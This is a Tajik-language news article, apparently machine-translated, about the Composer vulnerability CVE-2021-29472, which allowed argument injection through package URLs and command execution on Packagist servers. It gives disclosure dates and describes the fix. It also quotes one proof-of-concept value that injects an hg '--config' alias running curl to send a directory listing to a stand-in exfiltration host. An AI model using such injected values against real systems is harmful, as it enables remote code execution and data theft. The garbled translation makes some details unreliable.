осебпазирӣ дар менеҷери бастаи Composer, ки имкон медиҳад, ки анбори Packagist PHP халалдор шавад

Дар менеҷери вобастагии оҳангсоз осебпазирии муҳим (CVE-2021-29472) муайян шудааст, ки имкон медиҳад фармонҳои худсарона дар система ҳангоми коркарди баста бо арзиши махсуси форматшудаи URL, ки суроғаи зеркашии рамзи сарчашмаро муайян мекунад, иҷро шавад. Мушкилот дар ҷузъҳои GitDriver, SvnDriver ва HgDriver, ки ҳангоми истифодаи системаҳои идоракунии манбаъҳои Git, Subversion ва Mercurial истифода мешаванд, рух медиҳад. Ин осебпазирӣ дар релизҳои Composer 1.10.22 ва 2.0.13 ҳал карда шуд.

Махсусан қайд карда мешавад, ки масъала пеш аз ҳама ба анбори бастаҳои пешфарзии Composer, Packagist, ки дорои 306 бастаҳо барои таҳиягарони PHP мебошад ва дар як моҳ зиёда аз 1.4 миллиард боргирӣ хизмат мекунад, таъсир расонд. Таҷриба нишон дод, ки агар дар бораи мушкилот огоҳӣ вуҷуд дошта бошад, ҳамлагарон метавонанд инфрасохтори Packagistро назорат кунанд ва маълумоти эътимоднокии нигоҳдоронро ба даст оранд ё зеркашии бастаҳоро ба сервери тарафи сеюм равона карда, интиқоли вариантҳои бастаро бо тағироти бадсифат барои иваз кардани пушти дарвоза ташкил кунанд. дар давоми раванди насби вобастагӣ.

Хатар барои корбарони ниҳоӣ бо он маҳдуд аст, ки мундариҷаи composer.json одатан аз ҷониби корбар муайян карда мешавад ва истинодҳои манбаъ ҳангоми дастрасӣ ба анборҳои тарафи сеюм, ки одатан эътимодноканд, интиқол дода мешаванд. Зарбаи асосӣ ба анбори Packagist.org ва хидмати Private Packagist, ки Composer бо интиқоли додаҳои аз корбарон гирифташуда номида шуд, афтод. Ҳамлагарон метавонанд коди худро дар серверҳои Packagist бо гузоштани бастаи махсус тарҳрезишуда иҷро кунанд.

Дастаи Packagist осебпазириро дар давоми 12 соат пас аз гузориш додани осебпазирӣ ислоҳ кард. Муҳаққиқон рӯзи 22 апрел таҳиягарони Packagistро ба таври хусусӣ огоҳ карданд ва мушкилот ҳамон рӯз ҳал карда шуд. Навсозии оммавӣ ба Composer дар бораи осебпазирӣ рӯзи 27 апрел нашр шуд ва тафсилот 28 апрел ошкор карда шуд. Аудити гузоришҳо дар серверҳои Packagist ягон фаъолияти шубҳаноки марбут ба осебпазириро ошкор накард.

Мушкилот аз хатоги дар коди тасдиқи URL дар файли решаи composer.json ва истинодҳои зеркашии манбаъ ба вуҷуд омадааст. Хатогӣ дар код аз моҳи ноябри соли 2011 мавҷуд аст. Packagist қабатҳои махсусро барои ташкили боркунии код бидуни пайвастшавӣ ба системаи мушаххаси идоракунии манбаъ истифода мебарад, ки бо занги "fromShellCommandline" ва интиқоли далелҳои сатри фармон иҷро карда мешаванд. Масалан, барои git, фармони "git ls-remote -heads $URL" номида мешавад, ки дар он URL бо истифода аз усули "ProcessExecutor::escape($url)" коркард карда мешавад ва аз конструксияҳои эҳтимолан хатарнок ба мисли "$(. ..)" ё "` ...`".

Асоси мушкилот дар он аст, ки усули ProcessExecutor::escape аз пайдарпаии "—" гурехта нашуд, ки имкон дод, ки ягон параметри занги иловагӣ дар URL нишон дода шавад. Чунин фирор дар драйверҳои GitDriver.php, SvnDriver.php ва HgDriver.php набуд. Ҳамлаи GitDriver.php бо он монеъ шуд, ки фармони "git ls-remote" пас аз роҳ нишон додани далелҳои иловагиро дастгирӣ намекунад. Ҳамла ба HgDriver.php тавассути гузаштани параметри “--config” ба утилитаи “hq” имконпазир шуд, ки ба шумо имкон медиҳад иҷрои ҳама гуна фармонро тавассути коркарди танзимоти “alias.identify” ташкил кунед. Масалан, барои зеркашӣ ва иҷро кардани код тавассути иҷро кардани утилитаи curl, шумо метавонед муайян кунед: —config=alias.identify=!curl http://exfiltration-host.tld —маълумоти "$(ls -alh)"

Бо интишори бастаи санҷишӣ бо URL-и шабеҳ ба Packagist, муҳаққиқон тасдиқ карданд, ки пас аз интишор сервери онҳо аз яке аз серверҳои Packagist дар AWS дархости HTTP гирифтааст, ки дорои рӯйхати файлҳо дар феҳристи ҷорӣ мебошад.

Манбаъ: opennet.ru

Илова Эзоҳ